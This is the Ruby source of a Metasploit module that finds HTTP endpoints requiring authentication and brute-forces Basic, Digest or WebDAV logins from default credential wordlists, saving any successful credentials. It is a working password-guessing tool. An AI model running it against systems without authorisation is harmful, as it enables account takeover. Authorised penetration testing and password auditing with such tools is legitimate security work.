## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/http' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'HTTP Login Utility', 'Description' => %q{ This module attempts to authenticate to HTTP services that require Basic, Digest, or WebDAV authentication. It will probe URIs to identify endpoints requiring authentication (HTTP 401) and then perform brute-force login attempts. }, 'Author' => [ 'hdm' ], 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], 'License' => MSF_LICENSE, # See https://github.com/rapid7/metasploit-framework/issues/3811 # 'DefaultOptions' => { # 'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"), # 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), # 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt"), # } ) register_options( [ OptPath.new('USERPASS_FILE', [ false, 'File containing users and passwords separated by space, one pair per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt') ]), OptPath.new('USER_FILE', [ false, 'File containing users, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt') ]), OptPath.new('PASS_FILE', [ false, 'File containing passwords, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt') ]), OptString.new('AUTH_URI', [ false, 'The URI to authenticate against (default:auto)' ]), OptString.new('REQUESTTYPE', [ false, 'Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)', 'GET' ]) ] ) register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) register_advanced_options( [ OptString.new('HttpSuccessCodes', [ false, 'Comma separated list of HTTP response codes or ranges to promote as successful login', '200,201,300-308']), ] ) deregister_options('USERNAME', 'PASSWORD') end def to_uri(uri) # In case TARGETURI is empty, at least we default to '/' uri = '/' if uri.blank? URI(uri) rescue ::URI::InvalidURIError raise "Invalid URI: #{uri}" end def find_auth_uri if datastore['AUTH_URI'].present? paths = [datastore['AUTH_URI']] else paths = %w[ / /admin/ /auth/ /manager/ /Management.asp /ews/ ] end paths.each do |path| uri = '' begin uri = to_uri(path) rescue RuntimeError => e # Bad URI so we will not try to request it print_error(e.message) next end uri = normalize_uri(uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => datastore['REQUESTTYPE'], 'username' => '', 'password' => '' }, 10) next unless res if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/ path = res.headers['Location'] vprint_status("Following redirect: #{path}") res = send_request_cgi({ 'uri' => path, 'method' => datastore['REQUESTTYPE'], 'username' => '', 'password' => '' }, 10) next if !res end next unless res.code == 401 return path end return nil end def target_url proto = 'http' if (rport == 443) || ssl proto = 'https' end "#{proto}://#{vhost}:#{rport}#{@uri}" end def run_host(ip) if (datastore['REQUESTTYPE'] == 'PUT') && (datastore['AUTH_URI'].blank?) print_error('You need need to set AUTH_URI when using PUT Method !') return end extra_info = '' if rhost != vhost extra_info = " (#{rhost})" end @uri = find_auth_uri if !@uri print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication") return end @uri = "/#{@uri}" if @uri[0, 1] != '/' print_status("Attempting to login to #{target_url}#{extra_info}") cred_collection = build_credential_collection( username: datastore['HttpUsername'], password: datastore['HttpPassword'] ) begin success_codes = parse_http_success_codes(datastore['HttpSuccessCodes']) rescue ArgumentError => e fail_with(Msf::Exploit::Failure::BadConfig, "HttpSuccessCodes in invalid: #{e.message}") end scanner = Metasploit::Framework::LoginScanner::HTTP.new( configure_http_login_scanner( uri: @uri, method: datastore['REQUESTTYPE'], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], http_success_codes: success_codes, connection_timeout: 5 ) ) msg = scanner.check_setup if msg print_brute level: :error, ip: ip, msg: "Verification failed: #{msg}" return end scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( module_fullname: fullname, workspace_id: myworkspace_id ) case result.status when Metasploit::Model::Login::Status::SUCCESSFUL print_brute level: :good, ip: ip, msg: "Success: '#{result.credential}'" credential_data[:private_type] = :password credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT if datastore['VERBOSE'] print_brute level: :verror, ip: ip, msg: 'Could not connect' end invalidate_login(credential_data) :abort when Metasploit::Model::Login::Status::INCORRECT if datastore['VERBOSE'] print_brute level: :verror, ip: ip, msg: "Failed: '#{result.credential}'" end invalidate_login(credential_data) end end end private def parse_http_success_codes(codes_string) codes = [] parts = codes_string.split(',') parts.each do |code| code_parts = code.split('-') if code_parts.length > 1 int_start = code_parts[0].to_i int_end = code_parts[1].to_i unless int_start > 0 && int_end > 0 raise ArgumentError, "#{code} is not a valid response code range." end codes.append(*(int_start..int_end)) else int_code = code.to_i unless int_code > 0 raise ArgumentError, "#{code} is not a valid response code." end codes << int_code end end codes end end